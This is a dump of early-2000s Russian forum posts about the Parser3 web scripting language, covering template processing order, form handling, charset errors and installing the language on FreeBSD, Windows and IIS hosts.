^form:fields.foreach[field;value]{ \
	$response:body[123]\
}\
\
нефига не дает\
то же из html - все ок\
\
это фича, бага или у меня руки кривые?\
\
СИЛЬНО хочу его там иметь\
\
как иначе можно выкрутиться?\
"
"1096","Есть ли способы прекратить дальнейший разбор шаблона?"
"1097","теперь надо его сделать доступным ;)\
поменяй @auto[] на @test[] в auto.p\
1) создать test.html в той же папке что и auto.p\
в test.html написать ^test[] "
"1098","Если смотреть по аналогии со вторым Парсером (@autoexec), то метод @auto[] не должен ничего выводить в HTML. Попробуй перенести этот код в метод @main[]."
"1099","У ПАФ'а в планах тоит оператор ^exit[]\
См. в исходниках файл operators.txt"
"1100","Не понял\
\
И так во всех html?\
так и я умею\
\
только тогда рекурсия возникает при инклудах\
мне надо только 1 раз в самом начале\
\
пока развязываю рекурсию флагами - но это ведь не красиво\
да и сувать эту бадью в начало каждой htmlки задолбаться\
\
Кстати, все правильно всмысле так и должно быть?\
или просто об этом все знают?\
Исправить хоть обещают?"
"1103","Выполняется.\
\
[quote]\
Parser обрабатывает запрошенный документ следующим образом: \
\
1. \
Считываются, компилируются и инициализируются Главный конфигурационный файл; затем Конфигурационный файл сайта; затем все файлы с именем auto.p, поиск которых производится начиная от корня веб-пространства, и ниже по структуре каталогов, вплоть до каталога с запрошенным документом; наконец, сам запрошенный документ. \
Все вместе они составляют определение класса MAIN. \
Инициализация заключается в вызове метода auto каждого модуля. \
\
2. \
Затем вызывается без параметров метод main класса MAIN. \
Т.е. в любом из перечисленный модулей может быть определен метод main, и будет вызван тот, который был определен последним - скажем, определение этого метода в запрошенном документе перекрывает все остальные возможные определения, и будет вызван именно он. \
\
[/quote]"
"1105","Пока ищу где накосячил.\
Помещаю единственную @main[] в auto.p\
\
@main[]\
$response:body[123]\
\
проверяю в far alt+F7 - @main[] действительно единственная\
$response:body[] - тоже единственный\
\
Ничего не меняется\
был бы ^exit[] можно было бы сказать наверняка :(\
\
Проверь пожалуйста, раз уж у тебя работает, доступен ли form из @main[]"
"1106","Вот мой auto.p\
[code]\
@main[]\
^form:fields.foreach[field;value]{\
   $response:body[$field / $value]\
}\
[/code]\
\
Обрати внимание, что в html файле надо определить хотябы один макрос, иначе все тело файла считается методом @main[] и соответственно main из auto.p не вызывается."
"1107",">Обрати внимание, что в html файле надо определить хотябы один макрос\
\
Это меняет дело :(((\
тогда что бы мне вывернуться через @main[] мне придется наворотить еще более сложную конструкцию\
\
например определить в каждой html @body[]\
и вызывать его из @main[] auto.p\
\
Но тогда мне будет затруднительно инклудить html'ки\
\
\
\
"
"1108","И это правильно, насчет такого порядка обработки.\
Например, у меня на сайте есть страницы, где _не нужно_ вызывать парсер. \
И там просто пишется обычный html.\
Или используются конструкции парсера, но в обход общего порядка. \
Это удобно.\
В доках предложена удобная конструкция -- в auto.p идет\
^header[]\
^body[]\
^footer[]\
и где нужно что нужно переопределяется.\
Так что скорее фича :)"
"1110","Может в чьем-то понимании это и фича :)\
\
А мне через жопу делать приходится :)"
"1112","Скажем, так.\
\
Я очень вдумчиво задумался именно об организации шаблонов.\
И пришел к некоторым позициям, которые не возьмусь здесь изложить \
\
И вот теперь дорабатываю напильником как раз под свою организацию шаблонов.\
\
Поэтому имею огромную пачку геморров, которые надеюсь окупятся :)\
\
 "
"1114","Но все-таки задача подъемная.\
Все уже спланировано, и рассписано.\
Но много мелких косяков приходится обходить часами :(\
"
"1115","При выборе нескольких значений (CTRL+) из списка в ^form[name] попадает только последнее выбранное значение.\
А как сделать так, чтобы попадали все выбранные? (Parser 2.0)\
\
P.S. \
^combine[] не работает."
"1118","Если знаете, пожалуйста поделитесь.\
Пол нета перерыл, так и не нашел.\
С уважением Дмитрий"
"1119","http://www.sinor.ru/~xml/\
http://www.xmlportal.ru/"
"1120","Попробуй что-то из серии\
http://www.parser.ru/docs/lang/formtables.htm\
\
не тестил, но вдруг поможет?"
"1122","$text[текст]\
^text.save[tmp.txt]"
"1124","в таблице есть порядок элементов, а в хеше - нету.\
\
Поэтому подобные преобразования (если кому вдруг понядобятся, чего мне пока не было нужно) - каждый будет писать сам для себя.\
"
"1125","я с объектом файл пытался манипулировать\
а тут все так просто :)"
"1126","Есть ли вообще модератор данного форума?\
\
те вотпросы, которые были заданы раньше, кто-нибудь принял с сведению?\
\
дальше, если этот форум написан на парсере (я на 99% в этом уверен), то почему бы его внешний вид не сделать таким, как, например, на форуме linux.org.ru с его великолепной навигацией?\
\
и когда ждать обновление в документации по парсеру?"
"1128","Всем добрый день. Остро нуждаюсь в инструкции как установить модуль HTML-Template для ActivePerl."
"1129","Делаешь форму с полем <input name=photo type=\"file\">, а дальше как в доке:\
\
[quote]\
$form:поле_формы    \
\
Метод возвращает значение поля формы. Возвращаемый объект может принадлежать либо классу file, если поле формы имеет тип file, либо классу string. Дальнейшая работа с объектом возможна только методами, определенными для соответствующих классов. \
\
Пример использования: \
^if(def $form:photo){ \
   ^form:photo.save[binary;/upload/photos/beauty.gif] \
} \
\
Сохранит картинку, выбранную пользователем в поле формы и присланную на сервер, в заданном файле. \
\
[/quote]"
"1130","Я не модератор -\
но мне нравится такой форум -\
нет ничего лишнего :) = сокращение времени загрузки"
"1132","вот если открывать допустим index.html\
чтоб грузил ^default[](в index.html из auto.p)\
если (из ссылки в этом же ^default) вызывать\
index.html?news\
грузил ^news[]\
??"
"1133","Никик не могу догнать, как получить их?"
"1136","Для 5-ти колонок:\
[code]\
<table>\
<tr>\
$column(0)\
^sections.menu{\
  ^if($column==5){</tr><tr>$column(0)}\
  <td width=20%>\
    <a href=$sections.uri>$sections.title</a>\
  </td>\
  ^column.inc[]\
}\
^while($column<5){\
  <td width=20%><br></td>\
  ^column.inc[]\
}\
</tr>\
</table>\
[/code]"
"1137","не могу сообразить \
[code]\
^if((^query = \"one\")){^one[]}{^aboutt[]}\
[/code]"
"1139","1. Качаешь с http://www.wincvs.org/ или http://www.cvshome.org клиента.\
2. Запускаешь его вот так: \
   cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project co -r release_1_0_0001 parser3\
3. У тебя на диске образуется папочка со всеми исходниками.\
\
p.s. А тебе они нужны? :)"
"1140","^if($env:QUERY_STRING eq \"news\")\
подходит :)"
"1141",".. а цикл .foreach не выполняется.\
[code]\
<html><body>\
<b>\
^if(def $form:photo){\
  ^form:photo.save[binary;upload/file]\
  залили :)\
}{^$form:photo не определён}\
<br>\
\
^form:fields.foreach[field;value]{\
   $field - $value\
}[<br>]\
</b>\
\
<form enctype=\"multipart/form-data\" method=\"post\">\
<input name=photo type=file>\
<input name=post  type=submit>\
</form>\
\
\
</body></html>\
[/code]"
"1142","http://dklab.ru/chicken/nablas/5.html\
\
Прежде всего найдите требуемый модуль в Интернете. Обычно это — файл с расширением ppd\
\
Вот список наиболее популярных каталогов модулей для ActivePerl (взят из документации):\
\
http://www.activestate.com/PPMPackages/5.6\
http://jenda.krynicky.cz/perl/\
http://www.roth.net/perl/packages/ \
http://www.xray.mpe.mpg.de/~ach/ptk/ppm \
http://rto.dk/packages/ \
http://dklab.ru/chicken/mod/ppd \
\
Затем перейдите в режим командной строки (или запустите Far, если синий цвет вам нравится больше) и наберите: \
\
ppm install http://сервер/путь/к/модулю.ppd\
\
Необходимо заметить, что в этот момент вы должны быть подключены к Интернету, потому что ppd-файл обычно содержит лишь ссылку на архив модуля, который будет выкачан и установлен автоматически.\
\
ОТ СЕБЯ могу добавить\
Если сидишь через прокси пропиши переменную окружения\
set PROXY=http://192.168.1.1:3128\
или какой там у тебя\
например в autoexec.bat\
\
в ppm\
install /location откуда_скачать что_установить\
\
\
"
"1143","как на счёт лишней ссылки на текущий раздел сайта??? И ещё как построить вертикальное меню????"
"1144","1. Загрузка у меня работает. Естественно после сабмита ...\
2. По поводу foreach. У меня заработала следующая конструкция:\
[code]\
$fields[$form:fields]\
^fields.foreach[field;value]{\
    $field - $value\
}[<br>]\
[/code]"
"1146","Подскажите как поставить парсер на FreeBSD 4.3.\
Пойдут ли бинарники от 4.5? \
Если нет, то как скомпилировать из исходников (пошагово) -- в этой ОС я не очень (мягко гаворя). До админа далеко, а ставить надо. Если есть где в форуме, укажите ссылку, я не нашёл (может плохо искал...)."
"1148","Вот нужно обратиться к столбцу из таблицы не по имени, а по порядковому номеру (таблица с именами столбцов. Взята из sql запроса)\
Типа не $table.name, а $table.1\
???"
"1149","[code]\
\
$tab[^table::create{col1	col2	col3	col4\
val1	val2	val3	val4}]\
\
$tabnames[^tab.columns[]]\
\
^for[i](1;$tabnames){\
\
   \"$tab.[$tabnames.column]\"\
   ^tab.offset(1)\
   ^tabnames.offset(1)\
\
}[ - ]\
\
\
[/code]"
"1150","[code]\
^for[i](1;$tabnames){\
   \"$tab.[$tabnames.column]\"\
   ^tabnames.offset(1)\
}[ - ]\
[/code]"
"1151","Как делать таблицу с такой тонкой рамкой, как тут,"
"1153","1.\
Было:\
[code]\
<td width=20%>\
  <a href=$sections.uri>$sections.title</a>\
</td>\
[/code]\
станет:\
[code]\
  ^navigation_cell[]\
[/code]\
\
@navigation_cell[] берётся (с минимальными исправлениями) из урока 2.\
\
2.Что значит \"вертикальное меню\"?\
<a href=url1>title1</a><br>\
<a href=url2>title2</a><br>\
<a href=url3>title3</a><br>\
\
так? :)"
"1154","Как в 3p релизовать навигацию типа:\
\
главная/раздел/подраздел/ну и ещё одни подраздел\
\
для 2p хоть example был"
"1155","^if($sections.uri eq $request:uri)\
В случае, если запрашивали что-то типа foo.html?тут_много_разных_букв_и_%&+_вот_таких_символов даст false. :(\
"
"1158","Добавил в sections.cfg ещё одну колонку которая ну предположим называется review в ней храниться более подробное описание каждого раздела. Как сделать так чтобы текст из колонки review текущего раздела прописывался в ^header <title></title>."
"1159","$sections.rewiew"
"1160","Как сделать в HTML форму с ограничением максимальной длины вводимого текста?"
"1161","<b>Графоманам - нет!</b>\
<input type=\"text\" name=\"message\" maxlength=\"100\">\
\
Но это обходится, так что дополняй это конструкцией типа ^if($message.length ge 100){У-у, графоман! Всё равно не пройдёшь!}{Вот это другое дело!}"
"1162","А что делать, если попытается обойти?\
Т.е. я знаю, как делать, но фантазии не хватает, что сделать с этим чайником. \
Может его просто послать, или обрезать его?\
Кстати, сколько символов стоит отвести под мыло и пр.?\
Поделитесь опытом, кому уже доводилось делать форумы."
"1163","[quote]Т.е. я знаю, как делать, но фантазии не хватает, что сделать с этим чайником.[/quote]Я что-то пропустил, и русский язык за это время обеднел? :)\
\
Я говорю - проверяй длину переданного значения и если оно больше N, выкидывай юзера на предыдущую страницу.\
\
Код для проверки мыла Misha приводил:\
\
[i]# макрос проверяет, является ли введенная строка валидным адресом электронной почты\
@is_valid_email[email]\
$result(^if(def $email && ^email.match[^^\\w+([.-]?\\w+)+\\@\\w+([.-]?\\w+)*\\.[a-z]{2,4}^$][i]){1}{0})\
#end @is_email[] [/i]\
\
[quote]Кстати, сколько символов стоит отвести под мыло и пр.?[/quote]В БД под него отводят обычно поле VARCHAR(255), чтобы наверняка. Больше 255 символов - обрежет.\
\
[quote]Поделитесь опытом, кому уже доводилось делать форумы.[/quote] А чего тут такого? Я вот сейчас свой на P3 переписываю...\
"
"1164","Скачать, вывалить в c:\\temp\\, оттуда запустить PPD и скомандовать INSTALL модуль.ppd ... И никаких гвоздей, .. тьфу, проксей.."
"1165","Скопировал мышкой пример (самый первый), который простейшее меню изображает, создал файл тест.хтмл с единственной строкой, тоже скопированной из примера, запустил. В браузере\
\
read failed: No such file or directory (2), actual filename 'D:/_21cards/test.html'\
\
D:/!cards/test.html\
\
\
user-request(1)\
\
\
Сервер NT4, сервис-паки все, хотфиксы - требуемые.\
IIS4, патчи тоже установлены. \
Конфигурационный файл положен в %SYSTEM%, \
parser3 (isapi) положен в %SYSTEM%\\system32\\parser, \
IIS настроен согласно рекомандациям.\
\
Прокомментируйте, пожалуйста.\
Понятно, что где-то проворонил, но ЧТО?\
\
Спасибо.\
\
\
\
exception.type=file.missing "
"1166","Когда писал комментарий, курсор не туда встал, бяка такая....\
\
exception.type=file.missing\
\
это последняя строка из всех, выдаваемых в браузере   по данной ошибке.\
\
\
\
"
"1167","[code]\
<table bgcolor=#цвет_рамки cellspacing=0 cellpadding=0 border=0 width=100%>\
  <td>\
   <table border=0 cellspacing=1 cellpadding=3 width=100%>\
    <tr>\
     <td bgcolor=white>\
      ...\
     <td>\
    </tr>\
   </table>\
  </td>\
</table>   \
[/code]"
"1168","А как вообще посмотреть что тут происходило все эти дни?"
"1169","не могу понять, что за глюк:\
смотрю урок 3.\
если в папке /news/ выкладываю файл auto.p, (как в примере), то при обращении получаю пустую страницу, которая к тому же открывается минут 30 (проверял из любопытства). если же файла auto.p в папке /news/ нет, то все летает...\
где копать?\
\
p.s.: \
вот логи апача:\
с файлом /news/auto.p:\
...\
x.x.x.x - - [13/May/2002:09:30:41 +0400] \"GET /news/ HTTP/1.1\" 200 0 \"http://example.me.ru/\" \"Opera/6.01 (Windows XP; U)  [ru]\"\
...\
\
без файла /news/auto.p:\
...\
x.x.x.x - - [13/May/2002:09:42:38 +0400] \"GET /news/ HTTP/1.1\" 200 1318 \"http://example.me.ru/\" \"Opera/6.01 (Windows XP; U)  [ru]\"\
..."
"1172","Пытаюсь работать у провайдера с 3-м парсером и получаю вот такую какашку:\
[quote]\
user-request(1): '/users/e/g/egoroff.spb.ru/html/www/index.html' parser reading files of foreign group disabled [recompile parser without --disable-foreign-group-files configure option], actual filename '/users/e/g/egoroff.spb.ru/html/www/index.html'  type: parser.runtime\
[/quote]\
\
Как мне найти работоспособную версию парсера, потому что я не могу скомпилять её под FreeBSD за отсутствием оной, и к тому же я это не умею под Unix делать?"
"1173","Для каждого подраздела в его auto.p пишешь ссылку на этот раздел. Ну и потом на конечной странице собираешь строку из всех ссылок. Пример писать лень, но идея в этом состоит."
"1174","многое можно сделать с помощью throw"
"1175","на вопросы бывают ответы, вопросы не \"принимают к сведению\".\
обновления в документации были дважды, см. новости.\
если что-то полагаете упущенным, конкретно скажите?"
"1176","файл записался.\
а foreach тут не сможет напечатать $value, поскольку его тип — файл."
"1177","предыдущее письмо с промежуточной переменной — работает и без неё."
"1178","урок не глючен. Сделано это для простоты и наглядности, а для корректной работы с параметрами необходимо просто строку, возращаемую [code]$request:uri[/code], проматчить на предмет обрезки знака вопроса и всего, что после него"
"1179","я считаю правильным, если url хоть на копейку отличается от базового — УШЛИ, и надо дать возможность вернуться.\
\
обычно это:\
/section/subsection/, и надо дать возможность вернуться в /section/."
"1180","все интересные сообщения из форума, поскольку получить доступ к истории невозможно.\
Если нужно, могу прислать. Или выложить на сайт."
"1181","parser работает с именами файлов ВСЕГДА обрабатывая их file-spec языком, см. http://parser.ru/docs/lang/optaintuntaint.htm\
\
символ ! в пути не годится."
"1182","Действительно работает ... прошу прощения :) ... Видимо вместо ^ ставил $ ... \
\
Встречный вопрос:\
Если такую конструкцию описать в auto.p\
[code]\
@auto[]\
^form:fields.foreach[field;value]{\
 $test[$field - $value <br>]\
}\
[/code]\
\
то переменная $test так и остается пустой. Это так и задумывалось?"
"1183","в уроке3 hash, где 0=понедельник, сделан так, чтобы удобно вывести заголовки столбцов, для незагромождения примера.\
\
если кто-то (не будем пальцем) скопировал её бездумно, и использовал для другой цели — сам себе проблемосоздаватель."
"1184","1. путь писать ещё раз не нужно.\
2. надо понимать, что пути все относительно корня веб-пространства."
"1185","подумаем"
"1187","чтобы тут не мусорить...\
\
[fixed, спасибо]"
"1188","мы тоже заметили, что не хватает для счастья.\
был добавлен немного позже, чем собраны все бинарники.\
если кто собирает из исходников головной ветки, в operators.txt описан соответствующий конструктор."
"1189","узнать у провайдера, от какой группы запускается Парсер и сравнить с той группой, которая у пользователя, который заливает файлы.\
Затем попробуй сделать chgrp группу парсера на все нужные файлы. Обычно, группа после этого \"запоминается\" и перезаливка этого файла не приводит к ее изменению"
"1190","Кстати у него сегодня и второй парсер перестал работать, при том, что я вообще ничего не делал и даже в инете меня не было с 8 числа. Кстати опять он не может подключать файлы с макросами, хотя я их вручную подключаю на каждой странице и переменная PATH_TRANSLATED не поменялась (т.е. и реальные пути к файлам тоже), но не работает и всё тут."
"1191","или поставить группу nobody :)\
я так уже втрех метах делал."
"1192","Скачай бинарик и запусти его. Если не обвалится - значит все хорошо. Просто запущенный из консоли он должен написать примерно следующее:\
[code]\
Parser/3.0b Copyright(c) 2001, 2002 ArtLebedev Group (http://www.artlebedev.com)\
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
\
Usage: parser3 <file>\
[/code]\
Если напишет что-то совсем другое - пиши - поможем собрать"
"1193","Все зависит от настроек конкретного сервера.\
У меня, например, он работает от группы stuff (правда, это Mac OS X) ;-)"
"1195","боюсь что не выйдет, потому что если пользователь не принадлежит к группе nobody то сменить группу на nobody может только root, не думаю что пользователей кто-то специально добавлял к группе nobody."
"1196","$хеш равен количеству пар только в при вычислении выражения.\
а обычно он равен самому хешу.\
на вообще-то редкий случай, когда без вычисления выражения нужно напечатать количество элементов, то есть метод _count.\
\
минус в имени нужен для content-type, удобно писать \
[code]\
$response:content-type[...]\
[/code]\
"
"1197","можно перебирать id-шники \
от 1 до плюс бесконечности :-)\
\
http://www.parser.ru/forum/?id="
"1199","Зла на них нет:\
[quote]\
вчера только изменили лимиты у mod_fastcgi,\
в четверг и пятницу добавляли mod_usertrack\
больше с апачем ничего не делали.\
[/quote]\
Это может влиять на работу 2-го парсера?"
"1201","т.е. бинарики от 4.5 работают на 4.3"
"1202","http://parser.ru/docs/lang/parserrootconfig.htm"
"1204","а могут ли какие-нибудь настройки (не апачевые, а например ОС) повлиять на то что 2-й парсер так неожиданно перестает подключать файлы?"
"1205","Отвечает. Правильно отвечает.\
Проблема теперь в другом:\
\
[code]...parser reading files of foreign group disabled...\
[/code]\
\
Может таки выложите компилирванные версии с выключенной этой фичей. Она многим кровь портит."
"1207","поскольку еще неясно, какой же будет $request:charset и $response:charset\
\
только когда все классы загрузятся и auto выполнятся считается, что кодировки известны = в класс form загружаются нужным образом перекодированные значения переданных элементов форм"
"1209","[quote]\
> Вопросы:\
>\
> 1. от какой группы запускаются исполнаямые скрипты (например тот же\
> парсер)?\
httpu\
\
\
> 2. Какая группа у пользователя, который заливает файлы?\
small\
\
> 3. Совпадают ли они?\
нет, совпадают только владельцы.\
\
> 4. Могу ли я сделать chgrp для группы парсера на все нужные файлы?\
нет\
[/quote]\
\
Чего делать?"
"1210","Вообщем да, они с ним чёто делали, с утра она был / потом они вернули её к /users но это давно понятно что у них она кривая и поэтому я все подключаю вручную и через абсалютные пути, все работало до сегодняшнего дня, а вот сегодня облом."
"1211","о том и речь.\
\
остаётся просить выложить версию парсера менее серьюрную."
"1213","А то иногда security как кость в горле. Ведь не зря же говорят что самая безопасная система, есть самая неудобная в работе."
"1215","да сыпалась (и будет сыпаться) куча подтверждений, что дока сырая, парсер слишком чувствительный (хуже девственницы), что еще месяца 3-4 будет твориться бредлам по скриптованию и p3 еще не доказал свое превосходство по сравнению с p2 (с точки зрения как продукт - см. id=1011 )..вообщем Givi жизнь продолжаеться, и как не крути - парсер это типа круто !\
;-)"
"1216","насчет продукта несогласен, п3 заметно лучше п2, хотя бы в плане синтаксиса и более четкой логики в системных операторах."
"1217","Это в нас сидит лень и она мешает учиться новому.\
\
Как только начал знакомится с p3 сам был сильно сконфужен очень большими различиями. Сам не мог понять - \"КАК НА ЭТОМ МОЖНО ЧТО-ЛИБО ДЕЛАТЬ?\"\
\
Но сейчас преимущества p3 для меня очевидны. Точнее не так: их даже сравнивать нельзя. IMHO.\
\
В p3 простое так-же как и в p2 можно сделать просто. Некоторое проще чем было, некоторое несколько сложнее. Но при создании сложных вещей p3 существенно гибче и позволяет больше всего.\
\
Другие дело, что если я знаю синтаксис p2 и не знаю совершенно p3 - есть сложности.\
Чтобы начать нормально писАть на p3 надо начать думать по другому - только тогда начнут проявляться его преимущества."
"1219","Вот именно, - [b]ДУМАТЬ[/b] как-нибудь напишу на эту тему трактат :)"
"1220","думаю, сделаю лучше ошибкой с соответствующим сообщением"
"1221","@greeting[] \
Добро пожаловать! \
\
@body_additional[] \
Страница новостей сайта \
\
@body_main[] \
\
новости.... \
\
"
"1222","Попробуй селать так:\
  1. из auto.p третьего примера убери строчку @main[]\
  2. в html-е напиши одну строчку ^calendar[] \
\
Должен отобразиться календарь ..."
"1223","В /news/auto.p определяется @main, пустой. Ну, по логике он должен переопределить основной main... Типа... "
"1224","Я вот как-то неуверенно пока чувствую себя с ним. Вот например с теми-же ГКФ и КФС - убрал я их нафиг. Всё продолжило работать, но кодировка осталась вынь-1251, а в доке написано что по умолчанию юзаецца утф-8. Итогом - неприятный осадок, что я чего-то крепко не догоняю. С виртуальными папками под IIS тоже странно как то работает... щас проверю ещё раз и опишу проблему."
"1225","Я не программист, и имею(почти уже) польностью гуманитарное образоване - плз, дай понять, каким образом мне научиться думать как надо ????????\
:-)  "
"1226","А что с виртуальными папками-тот ??"
"1227","научиться думать можно так:\
\
1. Читать книжки по теории программирования\
\
2. Экспериментровать с subj\
"
"1229","А уверенно ли ты себя чевствовал на первой лекции в ВУЗе по (мат.анализу, физике, химии, языку. чему-то еще - подставить по желанию), когда говорят: \"ребята, из школьной программы оставьте в голове только арифметику, а остальное забудте как страшный сон\"?\
\
Я, конечно, утрирую - возможны исключения типа спец.школы, но разве никогда при переходе на новый качественный уровень ты не чувствовал смятения и неуверенности? Не верю! ( (с) Станиславский ).\
\
Происходит достаточно кординальная смена \"точки зрения\" на процесс \"скриптования сайтов\". Это надо принять как данность (и расслабиться ;-) ). Полное понимание придет со временем - не все сразу."
"1232","Столкнулся с невозможностью использования mod_rewrite при работе с 3-м парсером. Дело в следующем:\
\
1. Я пишу RewruteRule для того чтобы сделать URI типа /file_1.html, /file_2.html, ... реальные же URL /file.html?file_id=1, /file.html?file_id=2, ...\
\
2. При обращении к странице по \"красивому URI\" ей не передается параметр file_id, а при обращении по \"некрасивому URI\" передается.\
\
Кстати это причина того что и на этом форуме перестали пользоваться mod_rewrite?"
"1233","Это не причина того, что перестали использовать mod_rewrite - если точнее, то он тут вовсю используется, только... для других целей :)\
\
Тут все документы виртуальные...\
\
Т.е. все прекрасно работает, и этот сайт тому доказательство.\
\
Так что приводи пример написаного тобой правила для рерайта..."
"1237","Я не утверждаю, что я все делаю хорошо.\
\
Но... я делаю что-то и на этом учусь :)\
\
Хотя образование у меня техническое.\
\
\"Научить нельзя. Научиться - можно.\" (не помню кто)"
"1238","Корень сервера c:\\inetpub\\wwwroot\
\
Создаём там физическую папку test в которую копируем сайт сделаный по мотивам уроков Доки (сайт прекрасно работает под Апачем). Единственно, что там меняем так это [code]$sections[^table::load[/sections.dat]][/code] на [code]$sections[^table::load[/test/sections.dat]][/code], чтоб читал файло не от корня а от нужной папки. Таки всё пучком.\
Следующий этап.\
Создаём виртуальную папку testa, которая физически находицца от туточки - d:\\www\\sites\\test\\www. С этой папкой как раз работает Апач. Меняем авто.п, так чтоб там було [code]$sections[^table::load[/testa/sections.dat]][/code]. Зовём.\
[code]\
read failed: No such file or directory (2), actual filename 'D:/www/sites/[b]te[/b]/testa/sections.dat'\
D:/www/sites/te/testa/sections.dat\
D:/www/sites/test/www/auto.p(7)\
exception.type=file.missing\
load D:/www/sites/test/www/auto.p(7)\
navigation D:/www/sites/test/www/auto.p(45)\
body D:/www/sites/test/www/auto.p(3)\
[/code]\
Обратите внимание на [b]te[/b] вместо [b]test[/b].\
Извращаемся дальше - переименовываем виртуальную папку testa в www и соответственно опять изменяем авто.п. Зовём - всё пучком!\
[i]\"Мама! Что это было!?\"[/i]"
"1239","Собраны и выложены бинарики Parser3 под FreeBSD 4.5 без ограничения на группу пользователей.\
[url=http://www.parser.ru/f/1/download/freebsd/parser3_1_0_0001_freebsd45R_grpunlim_cgi.tar.gz]CGI без XML[/url]\
[url=http://www.parser.ru/f/1/download/freebsd/parser3_1_0_0001_freebsd45R_grpunlim_cgi_xml.tar.gz]CGI с поддержкой XML[/url]\
Остальные файлы остаются в силе.\
\
[b]Внимание! Используя \"неограниченные версии\" вы действуете на свой страх и риск!\
Пожалуйста, будте вниательны с файловыми операциями. Неправильные настройки прав доступа или обработка пользовательского ввода могут повлечь несанкционированный доступ к приватной информации.[/b]\
\
Ссылка на эти файлы будет доступна только их форума. При установке имеет смысл сначала попробовать файлы из раздела [url=http://www.parser.ru/download/]Скачать[/url]. В случае \"неудачной\" установки Parser3 с фиксированной группой пользователей, следут задать вопрос в [url=http://www.parser.ru/forum/]Форум[/url]. Скачивать \"неограниченные версии\" стоит [b]только[/b] в случае абсолютной невозможности \"правильной\" настройки сервера. Пожалуйста, следуйте этим привилам.\
\
Предупреждая возможные вопросы замечу, что сборка \"неограниченных версий\" Parser3 под другие операционные системы пока не планируется. Однако, в любой момент существует возможность [url=http://www.parser.ru/docs/lang/compilesrc.htm]сборки из исходных кодов[/url]."
"1240","спасибо всем за помощь, а особенно Гиви!!!\
Заработал Парсер - ЗАРАБОТАЛ, но на хостинге от Агавы!!!!!!"
"1241","Можно использовать parser Win ME? если да, то как его установить\
заранее спасибо."
"1242","Выводит\
[code]./parser3.conf(3): 'windows-1251' unknown charset  type: parser.runtime[/code]\
Пути parser3.conf верные, это точно.\
Убираю файл parser3.conf - работает, но кривизна с кодировками вылезает и т.д.\
Как лечить - не пойму <:^("
"1243","Хотелось бы узнать, поддерживают какие-нибудь хостинг-провайдеры parser3 ?"
"1244","ftp://shells-users.incru.net/pub/compiled/ ?\
Там на net.ru лежат скомпилированные программы ."
"1245","См. http://www.parser.ru/forum/?id=1239"
"1246","И прежде всего вопрос про сабж -- \
пробовали ли ставить на него? Какие были (if any) сложности?\
\
Вот описание, все д.б.б.:\
\
valueHOST План А включает в себя:\
\
\
200 Мегабайт Места на диске (Мб) \
Один домен .Ru (или .Com, .Net, .Org) бесплатно \
Неограниченный траффик (нет скрытых платежей) \
Мощная серверная система * \
Неограниченно POP3 email Аккаунтов (разные пароли) \
Неограниченно Email перенаправлений с вашего домена \
6 виртуальных сервера с различными именами \
Web-интерфейс управления DNS, почтой, веб-сервером \
Бесплатная поддержка домена \
Множественные Интернет каналы более 155 Мб/сек \
FTP доступ для загрузки страниц \
Ваша cgi-bin директория для скриптов Perl, C, PHP \
Ежедневный Back-Up \
Резервное питание UPS \
PHP 4 \
mySQL базы данных в пределах 200 Mб \
Доступ с мобильных WAP телефонов \
Поддержка SSI \
Оплата в любом городе \
Круглосуточная поддержка по телефону \
\
"
"1248","Я в данном случае не выбираю. Делаю заказной сайт на проплаченном вперед хостинге. Условия хорошие. Парсер подходит для работы очень хорошо. Было сомнение по работоспособности на коммерческом хостинге, вот и задал вопрос _до_ основной разработки. \"Рыба\" работает идеально на тестовом сервере. Спасибо."
"1249","Поставил под фрюху. Вроде прописал все что надо, но вылазит 500 ошибка! В эррор-логе вот что пишут:\
\
/usr/libexec/ld-elf.so.1: parser3.cgi: Shared object has no run-time symbol table\
[Tue May 14 03:19:52 2002] [error] [client -.-.3.61] Premature end of script headers: /home/u6900/loza.ru/cgi-bin/parser3.cgi\
\
Где-то я сглючил. Помогите разобраться! :) \
"
"1250","Установил парсер3 на WinXP, httpd -- Apache 1.3.24. Всё содержимое скинул в C:/Program Files/Apache Group/Apache/cgi-bin/parser3/. Т.е. там лежит [code]<etc>\
<lib>\
parser3.conf\
[i]parser3.exe[/i]\
В [i]parser3.conf[/i] изменил первые строчки на \
[i]$charsetsdir[etcparser3.charsets][/i]\
$sqldriversdir[lib][/code]\
\
В качестве auto.p используется тот parser3.conf, который распространяется в архиве с бинарником [i]parser3.exe[/i]. \
\
В итоге при обращении к какой-либо странице парсер выдаёт ошибку:\
[code]\
<title>UNHANDLED EXCEPTION (root)</title>\
<body bgcolor=white>\
<font color=black>\
<pre>unknown charset</pre>\
<b>windows-1251</b><br>\
<pre>c:/program files/apache group/apache/htdocs/p3/auto.p(3)</pre>\
exception.type=parser.runtime\
[/code]\
\
Если закомментировать в auto.p строчки [code]$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
][/code] ошибка не выдаётся. Обращения к MySQL происходит удачно, т.е. пути указанные выше должны быть верными, т.к. mysql-модуль парсер, очевидно, находит. В чём ошибка? "
"1251","Установил парсер3 на WinXP, httpd -- Apache 1.3.24. Всё содержимое скинул в C:/Program Files/Apache Group/Apache/cgi-bin/parser3/. Т.е. там лежит [code]<etc>\
<lib>\
parser3.conf\
parser3.exe[/code]\
В [i]parser3.conf[/i] изменил первые строчки на \
[code]$charsetsdir[etc\\parser3.charsets]\
$sqldriversdir[lib][/code]\
\
В качестве auto.p используется тот parser3.conf, который распространяется в архиве с бинарником [i]parser3.exe[/i]. \
\
В итоге при обращении к какой-либо странице парсер выдаёт ошибку:\
[code]\
<title>UNHANDLED EXCEPTION (root)</title>\
<body bgcolor=white>\
<font color=black>\
<pre>unknown charset</pre>\
<b>windows-1251</b><br>\
<pre>c:/program files/apache group/apache/htdocs/p3/auto.p(3)</pre>\
exception.type=parser.runtime\
[/code]\
\
Если закомментировать в auto.p строчки [code]$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
][/code] ошибка не выдаётся. Обращения к MySQL происходит удачно, т.е. пути указанные выше должны быть верными, т.к. mysql-модуль парсер, очевидно, находит. В чём ошибка? "
"1252","Все... Я устал ставить subj...\
\
[i]\
user-request(1): '/users/e/g/egoroff.spb.ru/html/www/index.html' parser reading files of foreign group disabled [recompile parser without --disable-foreign-group-files configure option], actual filename '/users/e/g/egoroff.spb.ru/html/www/index.html' type: parser.runtime\
[/i]\
\
Ладно... Вкатил версию из топика egr'а\
